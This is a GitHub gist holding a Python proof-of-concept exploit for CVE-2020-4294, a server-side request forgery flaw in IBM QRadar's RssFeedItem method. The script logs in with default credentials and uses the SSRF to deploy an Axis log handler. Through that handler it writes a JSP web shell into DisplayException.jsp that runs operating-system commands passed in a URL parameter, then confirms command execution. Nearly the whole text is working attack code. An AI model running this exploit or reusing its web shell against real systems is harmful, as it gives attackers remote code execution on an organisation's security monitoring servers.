QRadar RssFeedItem Server-Side Request Forgery vulnerability (CVE-2020-4294) proof of concept
#!/usr/bin/env python3 | |
import json | |
import random | |
import urllib3 | |
import requests | |
import urllib.parse | |
base_url='https://127.0.0.1/' | |
username='admin' | |
password='initial' | |
verifycert=False | |
deploy = """!--><deployment xmlns="http://xml.apache.org/axis/wsdd/" xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"> | |
<service name="LogService" provider="java:RPC"> | |
<requestFlow> | |
<handler type="WriteLog"/> | |
</requestFlow> | |
<parameter name="className" value="java.lang.Object"/> | |
<parameter name="allowedMethods" value="*"/> | |
</service> | |
<handler name="WriteLog" type="java:org.apache.axis.handlers.LogHandler" > | |
<parameter name="LogHandler.fileName" value="/opt/qradar/webapps/console/core/jsp/DisplayException.jsp"/> | |
<parameter name="LogHandler.writeToConsole" value="false" /> | |
</handler> | |
</deployment | |
""" | |
undeploy = """!--><undeployment xmlns="http://xml.apache.org/axis/wsdd/"> | |
<service name="LogService"/> | |
<handler name="WriteLog"/> | |
</undeployment""" | |
create_jsp = """!--><![CDATA[ | |
</soapenv:Body> | |
<pre> | |
<%@page import="java.util.*,java.io.*"%> | |
<% if (request.getParameter("c") != null) { | |
Process p = Runtime.getRuntime().exec(request.getParameter("c")); | |
DataInputStream dis = new DataInputStream(p.getInputStream()); | |
String disr = dis.readLine(); | |
while(disr != null) { | |
out.println(disr); | |
disr = dis.readLine(); | |
} | |
p.destroy(); | |
} %> | |
</pre> | |
<div style="display:none"> | |
]]> | |
<triggerException/""" | |
if not verifycert: | |
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) | |
response = requests.get(f'{base_url}console/', | |
verify=verifycert, allow_redirects=False, | |
auth=requests.auth.HTTPBasicAuth(username, password)) | |
if response.status_code != 302: | |
print(f"failed login as '{username}'") | |
exit(1) | |
cookies = response.cookies | |
response = requests.get(f'{base_url}console/qradar/jsp/QRadar.jsp', | |
verify=verifycert, cookies=cookies, | |
auth=requests.auth.HTTPBasicAuth(username, password)) | |
cookies['JSESSIONID'] = response.cookies['JSESSIONID'] | |
headers = {'SEC': cookies['SEC']} | |
url = f'https://127.0.0.1/console/services/AdminService;jsessionid={cookies["JSESSIONID"]}?method={urllib.parse.quote(deploy)}' | |
call = {'method': 'qradar.getRssFeedItem', 'QRadarCSRF': cookies['QRadarCSRF'], | |
'id': f'{random.randint(0, 99999999)}', | |
'params': {'feedURL': urllib.parse.quote(url)} } | |
response = requests.post(f'{base_url}console/remoteMethod', | |
verify=verifycert, cookies=cookies, | |
headers=headers, data=json.dumps(call)) | |
if response.status_code != 200: | |
print('HTTP request failed:') | |
print(response.text) | |
exit(2) | |
url = f'https://127.0.0.1/console/services/LogService;jsessionid={cookies["JSESSIONID"]}?method={urllib.parse.quote(create_jsp)}' | |
call['params']['feedURL'] = urllib.parse.quote(url) | |
response = requests.post(f'{base_url}console/remoteMethod', | |
verify=verifycert, cookies=cookies, | |
headers=headers, data=json.dumps(call)) | |
if response.status_code != 200: | |
print('HTTP request failed:') | |
print(response.text) | |
exit(3) | |
url = f'https://127.0.0.1/console/services/AdminService;jsessionid={cookies["JSESSIONID"]}?method={urllib.parse.quote(undeploy)}' | |
call['params']['feedURL'] = urllib.parse.quote(url) | |
response = requests.post(f'{base_url}console/remoteMethod', | |
verify=verifycert, cookies=cookies, | |
headers=headers, data=json.dumps(call)) | |
if response.status_code != 200: | |
print('HTTP request failed:') | |
print(response.text) | |
exit(4) | |
response = requests.get(f'{base_url}console/core/jsp/DisplayException.jsp?c=id', verify=verifycert) | |
if response.status_code == 200 and 'uid=99(nobody) gid=99(nobody) groups=99(nobody)' in response.text: | |
print(f'[!] successfully deployed JSP shell at: {base_url}console/core/jsp/DisplayException.jsp?c=<command>') |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment